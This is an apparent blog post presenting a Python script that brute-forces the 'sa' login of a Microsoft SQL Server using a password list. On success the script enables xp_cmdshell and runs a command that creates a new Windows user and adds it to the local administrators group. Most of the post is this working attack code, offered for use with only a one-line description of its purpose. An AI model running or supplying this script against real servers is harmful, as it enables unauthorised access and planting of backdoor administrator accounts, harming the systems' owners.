SQL Brute Force Script

January 16, 2013

The purpose of this script is to perform a brute force attack on an SQL database.The script will try to connect to the remote host with the administrative account sa and with one password that will be valid from the file pass.txt.If the connection is successful then it will try to enable the xp_cmdshell and add a new user on the remote host.

Author: Larry Spohn

Website: http://e-spohn.com

Twitter: @Spoonman1091

Credits: Dave Kennedy

```
#!/usr/bin/python

import _mssql

# mssql = _mssql.connect('ip', 'username', 'password')
# mssql.execute_query()

passwords = file("pass.txt", "r")
ip = "192.168.200.128"

for password in passwords:
password = password.rstrip()
try:
mssql = _mssql.connect(ip, "sa", password)

print "[*] Successful login with username 'sa' and password: " + password
print "[*] Enabling 'xp_cmdshell'"
mssql.execute_query("EXEC sp_configure 'show advanced options',
1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell', 1;RECONFIGURE;")
mssql.execute_query("RECONFIGURE;")
```

```
print "[*] Adding Administrative user"
mssql.execute_query("xp_cmdshell 'net user netbiosX Password! /ADD && net
localgroup administrators netbiosX /ADD'")
mssql.close()

print "[*] Success!"
break

except:
print "[!] Failed login for username 'sa' and password: " + password
```